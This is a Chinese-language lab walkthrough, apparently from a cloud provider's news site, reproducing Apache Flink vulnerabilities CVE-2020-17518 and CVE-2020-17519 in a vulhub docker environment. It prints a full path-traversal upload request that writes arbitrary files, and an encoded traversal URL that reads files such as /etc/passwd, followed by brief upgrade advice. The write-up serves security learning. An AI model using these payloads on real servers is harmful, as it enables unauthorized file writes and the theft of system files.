您好,登录后才能下订单哦!
本篇文章为大家展示了如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
CVE-2020-17519
Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
CVE-2020-17518
Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。
CVE-2020-17519
1.11.0
1.11.1
1.11.2
CVE-2020-17518
Flink 1.5.1-1.11.2
1.本次漏洞环境使用vulhub的docker环境搭建,vulhub下载地址:
https://github.com/vulhub/vulhub/
2.下载完成后传入装有docker和docker-compose环境的虚拟机,进入目录
cd vulhub-master/flink/CVE-2020-17519/
3.使用docker-compose up -d 拉取漏洞环境,因17519的漏洞环境版本是1.11.2所以复现两个漏洞只需要一个漏洞环境即可。出现”done”表示拉取成功
4.在浏览器输入http://your-ip:8081查看页面
CVE-2020-17518复现
1、首先我们先使用CVE-2020-17518漏洞写入文件,在首页抓包构造以下构建数据包进行发送
POST /jars/upload HTTP/1.1
Host: your-ip:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=--------721072898
Content-Length: 149
----------721072898
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../tmp/success"
success
----------721072898--
2.上面数据包返回的虽然是400但是已经写入到docker中,进去docker查看
CVE-2020-17519复现
1.上面写入后要是不能进入docker查看这里可以利用CVE-2020-17519漏洞进行文件读取,在页面首页输入以下payload查看tmp目录下的文件
http://172.16.1.147:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess
2.修改后面的payload改为查看etc下的passwd文件
建议升级到安全版本或最新版本。
上述内容就是如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。